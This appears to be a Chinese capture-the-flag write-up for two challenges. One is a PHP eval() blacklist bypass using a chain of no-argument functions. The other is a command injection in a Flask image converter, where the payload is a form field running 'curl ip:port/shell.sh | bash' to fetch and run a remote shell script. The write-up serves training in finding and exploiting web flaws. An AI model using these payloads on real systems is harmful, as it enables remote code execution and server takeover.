Mercy-Code

<?php
highlight_file(__FILE__);
if ($_POST['cmd']) {
    $cmd = $_POST['cmd'];
    if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $cmd)) {
        if (preg_match('/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i', $cmd)) {
            die('What are you thinking?');
        } else {
            eval($cmd);
        }
    } else {
        die('Please calm down');
    }
}

无参RCE,就是黑名单多了一点

fuzz一下可用的无参函数,发现有个umask(),返回了18

ceil(sinh(cosh(tan(floor(tan(umask()))))))=46

后续就是常规的rce过程

payload

cmd=show_source(end(scandir(chr(ceil(sinh(cosh(tan(floor(tan(umask()))))))))));

picture_convert

有源码,查看之后发现是flask框架,存在命令注入的地方

其中有一行代码

type = request.form.get("type", "jpg")

这是flask获取表单的一种方式,但是多个参数的情况我网上没有查到相关资料。

经过一些测试,我的理解是他在提交的表单没有type的情况下,变量type的值为jpg

new_filename = str(uuid.uuid4()) + '.' + type
session["filename"] = new_filename

type的值会被拼接到filename的后面,同时在convert中执行

os.system(
        f"su - conv -c 'cd /app/static/images/ && convert tmpimg {session['filename']}'"
)

那我们随意传一个文件,然后修改包为这样

------WebKitFormBoundaryA2OkMRE8aUyLKByY
Content-Disposition: form-data; name="jpg";
Content-Type: image/jpeg

'|| curl -fsSL ip:port/shell.sh | bash ||'
------WebKitFormBoundaryA2OkMRE8aUyLKByY
Content-Disposition: form-data; name="file"; filename="a.jpg"
Content-Type: image/jpeg

123
------WebKitFormBoundaryA2OkMRE8aUyLKByY--

这样的话最后执行的指令相当于

su - conv -c 'cd /app/static/images/ && convert tmpimg e485447f-a38e-4a7a-8740-f4041c46927e.'|| curl -fsSL ip:port/shell.sh | bash ||''